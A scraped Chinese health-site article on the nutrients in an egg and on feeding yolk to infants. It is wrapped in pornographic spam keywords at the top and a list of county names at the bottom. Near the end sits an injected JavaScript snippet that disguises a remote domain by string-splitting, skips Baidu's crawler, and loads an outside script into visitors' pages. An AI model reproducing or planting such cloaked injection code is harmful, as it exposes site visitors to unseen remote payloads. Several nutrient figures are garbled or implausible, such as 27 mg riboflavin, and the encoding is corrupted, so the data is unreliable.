亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

一個雞蛋的營養(yǎng)成分有哪些

2017-07-07 09:31:19  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在的家庭生活條件都好了,不管是城市還是農(nóng)村,那么每天都能保障吃上雞蛋,所以對于很多的人來說,想全面了解一下一個雞蛋的營養(yǎng)成分有哪

現(xiàn)在的家庭生活條件都好了,不管是城市還是農(nóng)村,那么每天都能保障吃上雞蛋,所以對于很多的人來說,想全面了解一下一個雞蛋的營養(yǎng)成分有哪些?下面內(nèi)容就做了具體的介紹,所以對于經(jīng)常吃雞蛋的人,可以盡快的有一個全面的了解。

1.雞蛋含有蛋白質(zhì)、脂肪、維生素 及無機(jī)鹽、酵素等。這些營養(yǎng)素對人體的生長發(fā)育、健康長壽 都有很大的作用。

2.蛋白質(zhì)是由所組成的氨基酸種類、故雞蛋中蛋白質(zhì)可作為其它食物中蛋白質(zhì)的營養(yǎng)標(biāo)準(zhǔn)。

3.蛋白質(zhì)含量:每一百克含十四克左右,一個雞蛋大約六十克左右

4.熱量 144 (千卡)

5.硫胺素11(毫克)

6.鈣 56 (毫克)

7.核黃素 27 (毫克)

8.鎂 10 (毫克)

脂肪 8.8(克)

煙酸.2 (毫克)

鐵 2 (毫克)

碳水化合物 2.8(克)

錳 .04(毫克)

維生素E 1.84(毫克)

鋅1.1(毫克)

維生素A234(微克)

銅.15(毫克)

胡羅卜素 1 (微克)

鉀 154 (毫克)

磷 130 (毫克)

視黃醇當(dāng)量 74.1 (微克)

鈉 131.5(毫克)

硒 14.34 (微克)

吃蛋黃好還是吃蛋白好

蛋黃和蛋白的蛋白質(zhì)都是優(yōu)質(zhì)蛋白,消化率都很高。但是,蛋黃與蛋白的其它營養(yǎng)成分有較大差異,蛋白以卵清蛋白為主;蛋黃除了含豐富的卵黃磷蛋白外,還含有豐富的脂肪和微營養(yǎng)素(微營養(yǎng)素是維生素和微量元素的總稱),特別是鐵、磷以及維生素A、D、E和B族含量豐富。

1歲以內(nèi)、4個月以上的嬰兒,以食用蛋黃為宜,一般從1/4個蛋黃開始,適應(yīng)后逐漸增加到1~1.5個蛋黃。五歲以上的幼兒可以開始食用全蛋。有些幼兒吃蛋會發(fā)生過敏反應(yīng),這主要是對卵清蛋白過敏,應(yīng)避免食用蛋清,甚至全蛋,以后逐漸少量地吃蛋黃,逐步達(dá)到脫敏的目的。但對于絕大多數(shù)幼兒,雞蛋特別是蛋黃,含有豐富的營養(yǎng)成分,這些營養(yǎng)成分,對于促進(jìn)幼兒生長發(fā)育、強(qiáng)壯體質(zhì)及大腦和神經(jīng)系統(tǒng)的發(fā)育、增強(qiáng)智力都有好處,不可偏廢,力求每天吃一個為宜。

以上內(nèi)容中對很多的人詳細(xì)介紹了一個雞蛋的營養(yǎng)成分,所以在全面了解了以后,那么為了自己的身體健康,平時一定要每天保證1到2個雞蛋,這樣才能使得自己通過雞蛋的營養(yǎng)補(bǔ)充,保障自己體內(nèi)所需的營養(yǎng)以及鈣的補(bǔ)充。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
苏尼特左旗| 甘孜| 泽州县| 定西市| 赤水市| 汶上县| 余江县| 八宿县| 海盐县| 禹州市| 铜川市| 大化| 辽宁省| 札达县| 丹江口市| 鹤岗市| 阿合奇县| 浮山县| 黄平县| 伊宁市| 辉南县| 泉州市| 乳山市| 屏东县| 凌云县| 青州市| 罗山县| 云和县| 呼和浩特市| 鄢陵县| 泰和县| 望奎县| 邳州市| 华坪县| 唐山市| 洛川县| 凤凰县| 汉阴县| 麟游县| 广丰县| 象州县|